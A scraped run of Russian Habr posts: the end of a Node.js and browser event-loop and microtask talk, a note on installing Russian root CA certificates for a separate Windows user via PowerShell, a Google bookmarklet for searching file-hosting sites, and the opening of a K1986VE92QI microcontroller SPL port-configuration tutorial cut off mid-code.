К сожалению, другие фазы, в том числе таймеры и setImmediate, **такой защиты не имеют.** Поэтому если вы сделаете так, как в примере, у вас все зависнет и до poll-фазы доходить не будет очень долго.
А как вы думаете, что-то изменится, если мы заменим setTimeout(() => parseData(slice), 0)на setImmediate(() => parseData(slice))? – Естественно, нет, там тоже нет никакой защиты на фазе check.
Чтобы решить эту проблему, можно вызывать **рекурсивную обработку**.
```
const parseData = (slice) => // parse binary data
const recursiveAsyncParseData = (i) => {
parseData(getChunk(i))
setImmediate(() => recursiveAsyncParseData(i + 1))
}
recursiveAsyncParseData(0)
```
Суть в том, что мы взяли функцию parseData и написали ее рекурсивный вызов, но не просто самой себя, а через setImmediate. Когда ты вызываешь это в фазе setImmediate, то оно попадает уже на следующий тик, а не в текущий. Поэтому это отпустит Event Loop, он пойдет дальше по кругу. То есть у нас есть recursiveAsyncParseData, куда мы передаем некий индекс, достаем чанк по этому индексу, отпарсили — и дальше поставили в очередь setImmediate со следующим индексом. Он попадет у нас на следующий тик и мы таким образом можем рекурсивно обрабатывать все это дело.
Правда, проблема в том, что это все равно какая-то CPU bound задача. Возможно, она все равно будет в Event Loop как-то весить и занимать время. Скорее всего, вы хотите, чтобы у вас Node.js была чисто I/O bound.
Поэтому лучше для этого использовать какие-то другие вещи, например, **process fork / thread pool.**
Теперь мы знаем про Node.js, что:
* все распределено по фазам — хорошо, мы это четко знаем;
* есть защита от слишком долгой poll-фазы, но не остальных;
* можно применять паттерны рекурсивной обработки, чтобы не блокировать Event Loop;
* Но лучше использовать process fork, thread pool, child process
С thread pool тоже надо быть осторожным, потому что Node.js итак немало вещей там запускает, в частности, DNS resolving, потому что в Linux почему-то функция DNS resolve не асинхронная. Поэтому ее приходится в ThreadPool исполнять. В Windows, к счастью, не так. Но там и файлы можно читать ассинхронно. В Linux, к сожалению, нельзя.
По-моему, стандартный лимит — это 4 процесса в ThreadPool. Поэтому если вы что-то активно там будете делать, то оно будет конкурировать со всеми остальными — с fs и прочими. Можно рассмотреть вариант увеличения ThreadPool, но тоже очень осторожно. Поэтому почитайте что-нибудь на эту тему.
Микротаски: малый круг кровообращения
-------------------------------------
У нас есть таски в Node.js и таски в браузерах. Возможно, вы уже слышали о микротасках. Давайте разберемся, что это такое и как они работают, и начнем с браузеров.
### Микротаски в браузерах
Чтобы понять, как работают микротаски, обратимся к алгоритму работы Event Loop по стандарту whatwg, то есть пойдем в спецификацию и посмотрим, как это все выглядит.
Переводя на человеческий язык, выглядит это примерно так:
* Берем свободную таску из нашей очереди,
* Выполняем ее,
* Выполняем microtask checkpoint — ОК, мы еще не знаем, что это, но запомнили.
* Обновляем рендеринг (если необходимо), и возвращаемся на круги своя.
Они выполняются в месте, обозначенном на схеме, и еще в нескольких местах, о которых мы скоро узнаем. То есть таска закончилась, микротаски выполняются.
### Источники микротасок
* **Promise.then.**
Важно — не сам Promise, а именно Promise.then. Тот коллбэк, который поместили в then — это микротаска. Если вы вызвали 10 then — у вас 10 микротасок, 10 тысяч then — 10 тысяч микротасок.
* **Mutation observer.**
* **Object.observe**, который deprecated и никому не нужен.
Многие ли используют Mutation observer?
Думаю, что немногие используют Mutation observer. Скорее всего, больше используется Promise.then, поэтому именно его мы и рассмотрим в примере.
**Особенности работы microtask checkpoint:**
* **Мы выполняем все** — это значит, что мы выполняем все микротаски, которые у нас есть в очереди до конца. Мы ничего не отпускаем — просто все, что есть, берем и делаем — они ведь микро должны быть, правда?
* Еще можно порождать новые микротаски в процессе, и они будет выполнены в этом же microtask checkpoint.
* Что еще немаловажно — они исполняются не только после исполнения таски, но и после очистки стека.
Это интересный момент. Получается, что можно порождать новые микротаски и мы все их до конца выполним. К чему это нас может привести?
У нас есть два сердца. Первое сердце я анимировал JS анимацией, а второе — CSS-анимацией. Существует еще одна замечательная функция, которая называется starveMicrotasks. Мы вызываем Promise.resolve, а потом в then помещаем эту же самую функцию.
Посмотрите в [презентации](https://saitonakamura.github.io/ivan-tooloop/#36), что произойдет, если вызвать эту функцию.
Да, сердце JS остановится, потому что мы добавляем микротаску, а потом в ней добавляем микротаску, а потом в ней добавляем микротаску… И так бесконечно.
То есть рекурсивный вызов микротасок повесит все. Но, казалось бы, у меня все асинхронное! Должно отпуститься, я же setTimeout там вызывал. Нет! К сожалению, с микротасками надо быть осторожным, поэтому если вы как-то используете рекурсивный вызов, будьте внимательны — вы можете все заблокировать.
К тому же, как мы помним, микротаски исполняется в конце очистки стека. Мы помним, что такое стек. Получается, что как только мы из нашего кода вышли, коллбэк setTimeout исполнили — все — тут же пошли микротаски. Это может привести к интересным side-эффектам.
Рассмотрим [пример](https://saitonakamura.github.io/ivan-tooloop/#37).
Есть кнопка и серый контейнер, в котором она лежит. Мы подписываемся на клик и кнопки, и контейнера. События, как мы знаем, всплывают, то есть они появятся там и там.
В хэндлерах мы делаем 2 вещи:
1. Promise.resolve;
2. .then, в который вводим console.log(’RO’)
В самом хэндлере мы потом вводим «FUS», а в хэндлере на контейнере – «DAH!» (когда у нас событие всплывет).
Как вы думаете, что у нас появится в консоли? В этих сообщениях есть небольшая подсказка, и как ни странно, выведется именно «FUS RO DAH!» Отлично! Все работает, как мы ожидали.
Рассмотрим теперь абсолютно тот же самый пример, но раньше мы кликали по кнопке и браузер за нас вызывал хэндлер, а сейчас мы сами программно вызовем этот клик. Казалось бы – какая разница. Думаете, что-нибудь изменится или нет?
Конечно изменится! Потому что иначе я бы этот вопрос не задавал.
Давайте разберемся, почему так происходит.
Итак, у нас есть наш первый код, в котором есть очередь микротасок, и у нас есть стек. Можно посмотреть, как это все выполняется [в первом случае](https://saitonakamura.github.io/ivan-tooloop/#39).
* Первый раз мы сначала заходим в наш хэндлер — buttonHandleClick, кладем его на стек.
* Потом мы добавляем Promise.resolve. Он тоже попадает на стек. Мы его выполнили, и он нам добавил микротаску console.log(’RO’) в очередь. Мы ее выполнили.
* Затем мы вводим и отрабатываем console.log(’FUS’).
* После этого buttonHandleClick у нас практически закончился и стек очистился. Мы можем достать нашу микротаску и выполнить ее.
* Теперь событие всплывает, мы переходим во второй хэндлер (divHandleClick) и выполняем его код, выводим «DAH!».
* HandleClick закончился.
Казалось бы, все классно и все логично. Почему в следующем примере у нас все не так? Давайте проследим поток выполнения [во втором случае](https://saitonakamura.github.io/ivan-tooloop/#40):
* Выполняется button.click(). Мы кладем его на стек.
* Переходим в button HandleClick.
* Выполняем Promise.resolve с then. Он добавляет нам микротаску в очередь, Promise.resolve исполняется.
* Дальше переходим в console.log и вводим «FUS».
* Мы закончили тело buttonHandleClick и выходим из него, снимаем его со стека.
Но наш синхронный метод (click) не закончился, потому что там еще другие хэндлеры есть, и стек не очищен. Поэтому мы переходим в divHandleClick и, естественно, исполняем console.log(’DAH!’) исполнили. И только после этого у нас очистился стек, и мы можем исполнять нашу микротаску.
Это очень неприятно, например, когда мы вызываем button.click во всевозможных тестах.
С помощью этого легко выстрелить себе в ногу. Всплытие событий используется, например, в модальных окнах. Часто бывает, что модальное окно закрывается, если вне его кликнуть.
Обычно это реализуется так: мы подписываемся на документ (клик) и на сам контейнер модального окна (тоже на клик). Если мы где-то кликнули, и оно дошло до модального окна, мы делаем stopPropagation. Если нет, то оно доходит до документа, всплывает клик, мы понимаем, что мы где-то за пределами кликнули, закрываем окно.
А что, если какой-то злой гений (или junior-программист) попытается построить интересную логику — типа мы нажимаем на кнопку «Подтвердить», у нас идет promise, который резолвится, а потом в then мы решаем, закрыть что-нибудь или нет. В таком случае получится, что **в интерфейсе будет одно поведение, а в тестах другое**: либо тест упадет, а интерфейс не упадет, либо наоборот. Будет очень неприятно. Поэтому лучше вообще не завязываться на это поведение, не пытаться что-то придумать поверх этого и делать максимально просто.
Сейчас большинство браузеров (я проверял 4) работают с микротасками хорошо, и это все выполняют правильно в правильном порядке. Но раньше этого не было, и никто вам, к сожалению, не может гарантировать, что не будет багов и каких-то дополнительных хитрых кейсов. Так что лучше делать просто и не завязываться на это выполнение.
**О микротасках в браузерах мы узнали, что:**
* С их помощью можно заблокировать Event Loop. Это неприятно.
* Они выполняются каждый раз после таски и каждый раз, когда пустеет стек.
То есть на самом деле посередине таски они тоже могут выполниться, потому что стек очистился. Клик — это одна таска, но стек очистился посередине нее, микротаски вылезли.
Микротаски в Node.js
---------------------
Микротаски в Node.js это Promise.then и process.nextTick. И они тоже выполняются каждый раз, когда пустеет стек — не в конце фазы. Просто каждый раз, когда фаза заканчивается, стек, как ни странно, пустеет.
### process.nextTick
Хорошо, но зачем нам нужен process.nextTick, если есть setImmediate? Зачем нам вообще микротаски в Node.js в принципе?
Давайте посмотрим на пример. У нас есть функция createServer, она создает EventEmitter, дальше возвращает нам объект, у которого есть метод listen (подписаться на порт), и этот метод эмиттит наше событие.
```
const createServer = () => {
const evEmitter = new EventEmitter()
return {
listen: port => {
evEmitter.emit('listening', port)
return evEmitter
}
}
}
const server = createServer().listen(8080)
server.on('listening', () => console.log('listening'))
```
Потом мы вызываем функцию, создаем сервер, слушаем порт 8080, подписываемся на событие listening и в console.log пишем что-то элементарное.
Давайте подумаем, как на самом деле выполняется этот код, и есть ли с ним какая-то проблема.
Мы выполняем функцию createServer, и она возвращает объект. У этого объекта мы вызываем метод listen, в котором мы уже эмитим событие, но мы еще не успели на него подписаться. У нас еще последняя строчка даже не исполнилась.
Таким образом, мы на событие подписались, но его не получили. Что можно сделать? Можно использовать process.nextTick: заменить evEmitter.emit(’listening’, port) на process.nextTick(() => evEmitter.emit(’listening’, port)).
Суть в том, что **process.nextTick стоит использовать для вызова коллбэков, которые были переданы вам**. С точки зрения EventEmitter, это тоже по сути коллбэк. Получается, вам передали коллбэк, но от вас ожидают асинхронного API, потому что этот коллбэк выполнится не синхронно. Поэтому мы используем process.nextTick, и этот emit произойдет сразу после того, как userland код закончится. То есть мы объявили функцию createServer, исполнили ее, исполнили listen, подписались на событие listening. Стек у нас очистился — в этот момент process.nextTick — бум! Эмитим событие, мы уже на него подписались, все классно.
Этот кейс для опроса process.nextTick в основном. То есть все для коллбэка, в том числе и с ошибками такая же история.
Но следует понимать, что process.nextTick обладает таким же поведением, как Promise.then в браузерах. Если вы будете вызывать process.nextTick рекурсивно, никто вам не поможет — у вас все зависнет, зависнут и Event Loop, и Node.js. Поэтому, пожалуйста, не делайте так.
**Используйте process.nextTick только в исключительных случаях**, иначе лучше ghbvtybnm применить setImmediate с рекурсивными паттернами, или вообще отдать это в модуль на C++ и т.д. А process.nextTick можно использовать как раз для вызова коллбэков.
Async/await
-----------
Еще у нас есть такое API — async/await, какие-то генераторы. Работают они очень просто. Как мы все знаем, async/await основан на Promise, поэтому с точки зрения Event Loop он работает абсолютно точно так же. Есть некоторые различия в реализации, но с нашей точки зрения это все то же самое.
Полезные ссылки
---------------
* Еще раз [ссылка на слайды](https://saitonakamura.github.io/ivan-tooloop/) и на [исходники](https://github.com/saitonakamura/ivan-tooloop).
* [Philip Roberts. What the heck is the event loop anyway?](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
* [Bert Belder. Everything you need to know about Node.js event loop.](https://youtu.be/PNa9OMajw9w)
* [Jake Archibald. In the Loop](https://www.youtube.com/watch?v=cCOL7MC4Pl0).
* [The Node.js Event Loop, Timers, and process.nextTick()](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/)
* [WHATWG Specification event loop processing model](https://html.spec.whatwg.org/multipage/webappapis.html#event-loop-processing-model)
**Пожалуйста, не дайте Ивану Тулупу умереть!**
> Отдельный самобытный [Frontend Conf](http://frontendconf.ru/moscow/2018) уже не за горами — 4 и 5 октября в Москве, в Инфопространстве. Прием докладов уже закончился, и мы можем поделиться темами некоторых классных заявок:
>
>
>
> * [Grid Layout как основа современной раскладки](http://frontendconf.ru/moscow/2018/abstracts/3329) / Сергей Попов (Лига А.)
> * [Building decentralised apps with JS](http://frontendconf.ru/moscow/2018/abstracts/3931) / Михаил Кузнецов (ING)
> * [Закэшируй это](http://frontendconf.ru/moscow/2018/abstracts/3513) / Всеволод Шмыров (Яндекс)
> * [StoreWars (ngxs, redux, vuex)](http://frontendconf.ru/moscow/2018/abstracts/3829) / Кирилл Юсупов, Максим Иванов (Cinimex)
>
>
>
> Приходите, будет интересно!
>
> | https://habr.com/ru/post/417461/ | null | ru | null |
# Как можно установить «опасный» российский сертификат в Windows
Это и не статья, а всего лишь заметка, которая появилась в связи с грядущим окончанием действия TLS сертификатов у Сбербанка и некоторым бурлением, связанным с этим событием. В комментах к другой статье по этой же теме я предложил возможное решение, и мне предложили описать его в деталях, поэтому так и поступаю.
Мне не понравились предлагаемые решения с подъёмом виртуальной машины исключительно под браузер со сбербанком или скачивание второго браузера с отдельным хранилищем сертификатов - всё таки это довольно долго делать, и будут расходоваться лишние ресурсы. Вариант с созданием собственного сертификата и переподписанием сертификатов НУЦ, наверное, самый профессиональный, но разбираться и делать было лениво.
Довольно просто, как мне кажется, настроить систему так, чтобы браузер со сбером запускался от имени специального пользователя, в окружении которого можно установить сертификаты НУЦ Минцифры.
Все делается в четыре с половиной шага:
Создаем аккаунт пользователя.
1. Запускаем в новом аккаунте любимый браузер, в котором скачиваем с Госуслуг сертификаты и устанавливаем их в пользовательское хранилище (CurrentUser)
2. В основном рабочем аккаунте делаем ярлык на любимый браузер, запускаемый от имени нового пользователя.
3. Проверяем результат. Пока сбербанк еще работает на американском сертификате, поэтому подопытным сайтом может стать egisz.rosminzdrav.ru . На рабочем аккаунте, где сертификаты НУЦ не ставились, при его открытии должна появляться ошибка TLS. В браузере, открытом от имени нового пользователя, все должно открываться нормально.
Все эти движения можно выполнить традиционно для windows, мышкой, согласно инструкциям на сайте Сбера и на Госуслугах, но можно и из Powershell (в режиме админа)
```
# Копипастим и выполняем команды одну за одной:
#
#Создаем пользователя с хорошим паролем
net user sber MyStrongPassword /add
# Качаем корневой сертификат
runas /user:sber /savecred "powershell.exe wget -UseBasicParsing https://gu-st.ru/content/Other/doc/russian_trusted_root_ca.cer -OutFile ~\Downloads\russian_trusted_root_ca.cer"
# И ставим его в пользовательское хранилище
runas /user:sber /savecred "powershell.exe Import-Certificate -FilePath ~\Downloads\russian_trusted_root_ca.cer -CertStoreLocation cert:\CurrentUser\Root"
# Качаем sub сертификат
runas /user:sber /savecred "powershell.exe wget -UseBasicParsing https://gu-st.ru/content/Other/doc/russian_trusted_sub_ca.cer -OutFile ~\Downloads\russian_trusted_sub_ca.cer"
# И также, ставим его
runas /user:sber /savecred "powershell.exe Import-Certificate -FilePath ~\Downloads\russian_trusted_sub_ca.cer -CertStoreLocation cert:\CurrentUser\CA"
```
Код поля target ярлыка зависит от используемого браузера, разумеется, в моём случае это MSEdge, поэтому target такой:
```
C:\Windows\System32\runas.exe /user:sber /savecred "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe https://sberbank.ru"
```
Конечно, у этого решения есть минусы. Например, если потребуется скачивать файлы с сайта, по умолчанию они будут скачиваться в домашний каталог нового пользователя, что не очень удобно, наверное.
Что сделать еще? Можно запретить браузеру нового пользователя открывать что-либо, кроме сайта Сбера, чтобы случайно не открыть Gmail и не стать жертвой атаки класса major in the middle.
Уверен, есть разные способы, как это сделать по всем правилам. Мне нравится quick&dirty способ - Залогиниться новым юзером, зайти в Панель управления (старую) и сконфигурировать фальшивый прокси сервер SOCKS, добавив в список исключений домены сбера \*.sberbank.ru; \*.sber.ru. | https://habr.com/ru/post/692268/ | null | ru | null |
# Поиск по файлопомойкам
Иногда приходится искать файлы на всяких файлопомойках типа rapidshare. Так как единого поискового механизма не предлагается, слепил левою рукою такую штуковину–искалку. Её можно вставлять в страницы, при нажатии на линк «искать» выкидывается промпт, куда задаётся искомое понятие, по нажатию «поиск» открывается новое окно/таб с результатами поиска. Набросал две версии, для ие и фф. К тому ж вывешиваю список 1689 файлопомоек, которые можно вставлять в искалку. И ещё учитывайте, что гуглостринг ограничен по длине.
Для ФФ
`a href="javascript:Qr=document.getSelection();if(!Qr){void(Qr=prompt('Find files ',''))};if(Qr)location.href='http://www.google.com/search?num=50&hl=en&safe=off&q='+escape(Qr)+'+%28rapidshare.+%7C+megaupload+%7C+любое другое название файлопомойки%29&btnG=Search'" target="_blank" rel="nofollow" >Find files
Для ИЕ
`a href="javascript:Qr=document.selection.createRange().text;if(!Qr){void(Qr=prompt('Find files ',''))}if(Qr)location.href='http://www.google.com/search?hl=en&q='+escape(Qr)+'+%28rapidshare+%7C+megaupload+%7C+любое другое название файлопомойки%29&btnG=Google+Search'" target="_blank" onclick="Qr=prompt('Dateien bei Free File Hosters finden','');if(Qr)location.href='http://www.google.com/search?hl=en&q='+escape(Qr)+'+%28rapidshare+%7C+megaupload+%7C+любое другое название файлопомойки%29&btnG=Google+Search';return false" rel="nofollow" >Find files
[Список 1689 файлопомоек](http://www.u-psa.de/files/1689-free-file-hosters.txt)
посмотреть, как работает, можно [тут](http://www.u-psa.de/index.php/20070917151/Find-Files.html).
**UPD**Free file hosting services часто называются файлопомойками из–за несортированности складируемых файлов и неразборчивости сервисов в вопросах того, что там складируется. И вы и я знаем об этом, поэтому большая просьба не обижаться на это название и не обвинять меня в попытке оскорбления.`` | https://habr.com/ru/post/44655/ | null | ru | null |
# Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Опрашиваем клавиши, генерируем ШИМ. Часть вторая
#### Вступление.
В [предыдущей статье](http://habrahabr.ru/post/267051/) мы с вами повторили общую структуру таймера и детально рассмотрели ручной способ настройки ШИМ канала с использованием CMSIS. Но многим не нравится «копаться в регистрах» и они предпочитают принципиально другой уровень абстракции, позволяющий, как им кажется, упростить задачу. В этой статье я попытаюсь показать вам все плюсы и минусы данного подхода.
#### Изменение в подаче материала.
Во всех предыдущих статьях я описывал все знания по какой-либо задаче в одном последовательно сформированном тексте, стараясь не упустить всех тонкостей и деталей, получая при этом достаточно объемную, но исчерпывающую любые вопросы, статью. В результате, мнения о моих статьях разделились. Кому-то нравилось, что в статьях нет отсылок к литературе и вся необходимая информация для понимания статьи находится в самой статье или в ее предшественниках. А кому-то наоборот было не интересно читать про «элементарные вещи» (такие, как синтаксис языка, стандартная организация блоков, и т.д.) и люди закрывали статью не прочтенной. Так как я не люблю отсылать людей к литературе, но при этом не хочу, чтобы что-либо в статье было непонятно, то материал теперь будет излагаться следующим образом: основной текст — текст для людей, разбирающихся в том, о чем читают и имеющих некоторый опыт работы по данной тематике. Для тех, кто что-либо не знает или не до конца понимает — под спойлерами с пометками «Пояснения к....» — будет собрана вся необходимая для понимания статьи информация.
#### Задача.
Наша задача решить ту же задачу, что мы решали в предыдущей статье, но с использованием только лишь возможностей SPL. По итогу мы сможем сказать, какой подход более нагляден, быстр и меньше весит. Как следствие — мы создадим столько же функций, сколько было в предыдущей реализации с такими же именами, за исключением того, что добавим «SPL», чтобы можно было их отличить и сравнить влияние каждой функции на вес и производительность кода (Заменяя функцию ручной инициализации на функцию с автоматической инициализацией средствами SPL).
#### Настройка портов ввода-вывода средствами SPL (PORT).
Начать предлагаю с самого простого. С портов ввода-вывода для вручную управляемого светодиода. Раньше эта функция называлась initPinPortCForLed. Теперь будет initPinPortCForLedSPL. Имена последующих функций будут иметь такой же принцип именования. Как мы помним, для того, чтобы порт запустился и мы смогла зажечь светодиод — нужно:1. Подать сигнал тактирования на порт.
2. Инициализировать сам порт.
3. Выставить значение в регистр RXTX.
Так было, когда мы работали с CMSIS напрямую. С SPL все немного иначе. Для настройки любого периферийного модуля нужно заполнить структуру. Иногда — не одну. И потом ее передать в функцию, которая сама все настроит.**Пояснение к сказанному.**Можно провести аналогию с постройкой дома: вы делаете чертеж по всем требованием, а потом передаете его людям, которые сами строят дом. Вас не касается, как будет построен дом. Вы подразумеваете, что в точности — как на вашем чертеже. Здесь «чертеж» — это настроенная вами структура. А «люди, строящие дом» — функция SPL. Для каждого блока периферии существует своя структура. Узнать, какая требуется структура, можно заглянув в файл в папке spl (в дереве проекта) с именем MDR32F9Qx\_имя\_периферии. Для начала нам нужно подать сигнал тактирования на порт. Для этого нам нужно обратиться к файлу MDR32F9Qx\_rst\_clk.h. В нем, в самом конце, есть функции, которые нам может предоставить SPL. Из всего многообразия функций, нас интересует лишь **RST\_CLK\_PCLKcmd**. С ее помощью мы можем подать сигнал тактирования на любой блок периферии.
```
void RST_CLK_PCLKcmd(uint32_t RST_CLK_PCLK, FunctionalState NewState);
```
У функции есть два параметра:
* **RST\_CLK\_PCLK** — имя блока периферии, на который нужно подать или с которого нужно снять тактовый сигнал (сигнал тактирования). Возможные имена можно найти поиском по этому же **.h** файлу, набрав RST\_CLK\_PCLK в качестве искомого.**Возможные значения параметра RST\_CLK\_PCLK**
```
#ifdef USE_MDR1986VE9x /* For cortex M3 */
#define RST_CLK_PCLK_CAN1 PCLK_BIT(MDR_CAN1_BASE)
#define RST_CLK_PCLK_CAN2 PCLK_BIT(MDR_CAN2_BASE)
#define RST_CLK_PCLK_USB PCLK_BIT(MDR_USB_BASE)
#define RST_CLK_PCLK_EEPROM PCLK_BIT(MDR_EEPROM_BASE)
#define RST_CLK_PCLK_RST_CLK PCLK_BIT(MDR_RST_CLK_BASE)
#define RST_CLK_PCLK_DMA PCLK_BIT(MDR_DMA_BASE)
#define RST_CLK_PCLK_UART1 PCLK_BIT(MDR_UART1_BASE)
#define RST_CLK_PCLK_UART2 PCLK_BIT(MDR_UART2_BASE)
#define RST_CLK_PCLK_SSP1 PCLK_BIT(MDR_SSP1_BASE)
#define RST_CLK_PCLK_09 PCLK_BIT(0x40048000)
#define RST_CLK_PCLK_I2C PCLK_BIT(MDR_I2C_BASE)
#define RST_CLK_PCLK_POWER PCLK_BIT(MDR_POWER_BASE)
#define RST_CLK_PCLK_WWDG PCLK_BIT(MDR_WWDG_BASE)
#define RST_CLK_PCLK_IWDG PCLK_BIT(MDR_IWDG_BASE)
#define RST_CLK_PCLK_TIMER1 PCLK_BIT(MDR_TIMER1_BASE)
#define RST_CLK_PCLK_TIMER2 PCLK_BIT(MDR_TIMER2_BASE)
#define RST_CLK_PCLK_TIMER3 PCLK_BIT(MDR_TIMER3_BASE)
#define RST_CLK_PCLK_ADC PCLK_BIT(MDR_ADC_BASE)
#define RST_CLK_PCLK_DAC PCLK_BIT(MDR_DAC_BASE)
#define RST_CLK_PCLK_COMP PCLK_BIT(MDR_COMP_BASE)
#define RST_CLK_PCLK_SSP2 PCLK_BIT(MDR_SSP2_BASE)
#define RST_CLK_PCLK_PORTA PCLK_BIT(MDR_PORTA_BASE)
#define RST_CLK_PCLK_PORTB PCLK_BIT(MDR_PORTB_BASE)
#define RST_CLK_PCLK_PORTC PCLK_BIT(MDR_PORTC_BASE)
#define RST_CLK_PCLK_PORTD PCLK_BIT(MDR_PORTD_BASE)
#define RST_CLK_PCLK_PORTE PCLK_BIT(MDR_PORTE_BASE)
#define RST_CLK_PCLK_26 PCLK_BIT(0x400D0000)
#define RST_CLK_PCLK_BKP PCLK_BIT(MDR_BKP_BASE)
#define RST_CLK_PCLK_28 PCLK_BIT(0x400E0000)
#define RST_CLK_PCLK_PORTF PCLK_BIT(MDR_PORTF_BASE)
#define RST_CLK_PCLK_EBC PCLK_BIT(MDR_EBC_BASE)
#define RST_CLK_PCLK_31 PCLK_BIT(0x400F8000)
#define IS_RST_CLK_PCLK(PCLK) ((((PCLK) & RST_CLK_PCLK_09) == 0x00) && \
(((PCLK) & RST_CLK_PCLK_26) == 0x00) && \
(((PCLK) & RST_CLK_PCLK_28) == 0x00) && \
(((PCLK) & RST_CLK_PCLK_31) == 0x00))
#endif // #ifdef USE_MDR1986VE9x /* For cortex M3 */
```
Прошу обратить внимание, что для каждой серии микроконтроллеров этот список свой. В большинстве пунктов списки идентичны, но некоторые индивидуальные для каждой серии строки могут отличатся.
* **NewState** — состояние, в которое нужно перевести сигнал тактирования. Либо **DISABLE** — отключить тактирование, либо **ENABLE** — включить тактирование.
Вспомним, что наш светодиод подключен к PC1. Не сложно догадаться, что в нашем случае функция будет выглядеть так.
```
RST_CLK_PCLKcmd(RST_CLK_PCLK_PORTC, ENABLE); // Включаем тактирование порта C.
```
Теперь на нужный нам порт ввода-вывода подан тактовый сигнал и мы можем начать его настраивать. Для начала нам необходимо найти функцию, которая настраивает порт. Она находится в файле MDR32F9Qx\_port.h. Называется **PORT\_Init** и имеет следующий вид.
```
void PORT_Init(MDR_PORT_TypeDef* PORTx, const PORT_InitTypeDef* PORT_InitStruct);
```
Как мы видим, у этой функции так же 2 параметра:1. **MDR\_PORT\_TypeDef** — имя порта, который мы настраиваем. В формате MDR\_PORTX, где вместо X — буква нашего порта (A, B, C...). В нашем случае будет **MDR\_PORTC**.
2. Второй параметр — это **структура вида PORT\_InitTypeDef**. Ее описание находится в том же файле (MDR32F9Qx\_port.h). К сожалению, описание SPL полностью на английском. Как следствие, человеку, не знающему английского языка и незнакомому с устройством периферии на уровне регистров будет довольно тяжко. Да и иногда об истинном значении комментариев к функциям приходится по началу только гадать. Понимание их назначения приходит лишь после тщательного изучения блок-схемы того или иного периферийного модуля.**Описание структуры PORT\_InitTypeDef**
```
typedef struct
{
uint16_t PORT_Pin; /*!< Specifies PORT pins to be configured.
This parameter is a mask of @ref PORT_pins_define values. */
PORT_OE_TypeDef PORT_OE; /*!< Specifies in/out mode for the selected pins.
This parameter is one of @ref PORT_OE_TypeDef values. */
PORT_PULL_UP_TypeDef PORT_PULL_UP; /*!< Specifies pull up state for the selected pins.
This parameter is one of @ref PORT_PULL_UP_TypeDef values. */
PORT_PULL_DOWN_TypeDef PORT_PULL_DOWN; /*!< Specifies pull down state for the selected pins.
This parameter is one of @ref PORT_PULL_DOWN_TypeDef values. */
PORT_PD_SHM_TypeDef PORT_PD_SHM; /*!< Specifies SHM state for the selected pins.
This parameter is one of @ref PORT_PD_SHM_TypeDef values. */
PORT_PD_TypeDef PORT_PD; /*!< Specifies PD state for the selected pins.
This parameter is one of @ref PORT_PD_TypeDef values. */
PORT_GFEN_TypeDef PORT_GFEN; /*!< Specifies GFEN state for the selected pins.
This parameter is one of @ref PORT_GFEN_TypeDef values. */
PORT_FUNC_TypeDef PORT_FUNC; /*!< Specifies operating function for the selected pins.
This parameter is one of @ref PORT_FUNC_TypeDef values. */
PORT_SPEED_TypeDef PORT_SPEED; /*!< Specifies the speed for the selected pins.
This parameter is one of @ref PORT_SPEED_TypeDef values. */
PORT_MODE_TypeDef PORT_MODE; /*!< Specifies the operating mode for the selected pins.
This parameter is one of @ref PORT_MODE_TypeDef values. */
}PORT_InitTypeDef;
```
**Пояснение: что такое структура, как ее заполнять, откуда брать значения?**Структура, по сути, представляет из себя массив, каждая фиксированная (имеет свое место в массиве) ячейка которого содержит какой-то параметр. В отличии от массива, каждый параметр структуры может иметь свой тип. Как и массив, перед заполнением, структуру необходимо создать.
```
PORT_InitTypeDef Led0PortC_structInit; // На порту C.
```
Здесь PORT\_InitTypeDef — это **тип**. Иначе говоря — просто шаблон, на основании которого происходит «разметка» памяти. Led0PortC\_structInit — имя конкретной структуры, придуманное нами. Как создавая переменную типа uint32\_t мы задавали ее имя, к примеру Loop, так и тут мы создаем структуру типа PORT\_InitTypeDef с именем Led0PortC\_structInit. Важно отметить, что объявление структуры должно быть сделано в функции до первой команды. Иначе проект не соберется. После создания структуры необходимо ее заполнить. Заполнение идет следующим образом.
```
имя_структуры.ее_параметр = какое-то значение;
```
И так — для каждого параметра из описания. В описании к каждой ячейке есть пояснение, какие значения можно в нее записывать. Как правило, если значением является не какое-то произвольное число из какого-либо диапазона, то в описании есть слово **[ref](https://habr.com/ru/users/ref/)**. С помощью слова, стоящего после него, можно найти в файле все доступные значения для данной ячейки. Возьмем в пример первую ячейку.
```
uint16_t PORT_Pin; /*!< Specifies PORT pins to be configured.
This parameter is a mask of @ref PORT_pins_define values. */
```
Используя поиск, находим **PORT\_pins\_define**. **Видим следующее.**
```
#define PORT_Pin_0 0x0001U /*!< Pin 0 selected */
#define PORT_Pin_1 0x0002U /*!< Pin 1 selected */
#define PORT_Pin_2 0x0004U /*!< Pin 2 selected */
#define PORT_Pin_3 0x0008U /*!< Pin 3 selected */
#define PORT_Pin_4 0x0010U /*!< Pin 4 selected */
#define PORT_Pin_5 0x0020U /*!< Pin 5 selected */
#define PORT_Pin_6 0x0040U /*!< Pin 6 selected */
#define PORT_Pin_7 0x0080U /*!< Pin 7 selected */
#define PORT_Pin_8 0x0100U /*!< Pin 8 selected */
#define PORT_Pin_9 0x0200U /*!< Pin 9 selected */
#define PORT_Pin_10 0x0400U /*!< Pin 10 selected */
#define PORT_Pin_11 0x0800U /*!< Pin 11 selected */
#define PORT_Pin_12 0x1000U /*!< Pin 12 selected */
#define PORT_Pin_13 0x2000U /*!< Pin 13 selected */
#define PORT_Pin_14 0x4000U /*!< Pin 14 selected */
#define PORT_Pin_15 0x8000U /*!< Pin 15 selected */
#define PORT_Pin_All 0xFFFFU /*!< All pins selected */
```
У нас PORTC вывод 1. По идеи, мы можем написать
```
Led0PortC_structInit.PORT_Pin = PORT_Pin_1;
```
Но у нас еще со времен прошлой статьи остался такой define.
```
// Подключение светодиодов.
#define LED0 (1<<0) // PORTC.
#define LED1 (1<<1) // PORTC.
```
Это такая же маска порта, что и в описании, только с другим именем. Но она дает более ясное представление о том, что мы подключаем, так что я запишу ее.
```
Led0PortC_structInit.PORT_Pin = LED1; // Пин нашего светодиода.
```
Заполнив структуру останется лишь указать ее в качестве параметра функции SPL **PORT\_Init**, не забывая про "&" перед именем структуры (передаем указатель на структуру).**Получим готовую функцию вида.**
```
void initPinPortCForLedSPL (void)
{
PORT_InitTypeDef Led0PortC_structInit; // На порту C.
RST_CLK_PCLKcmd(RST_CLK_PCLK_PORTC, ENABLE); // Включаем тактирование порта C.
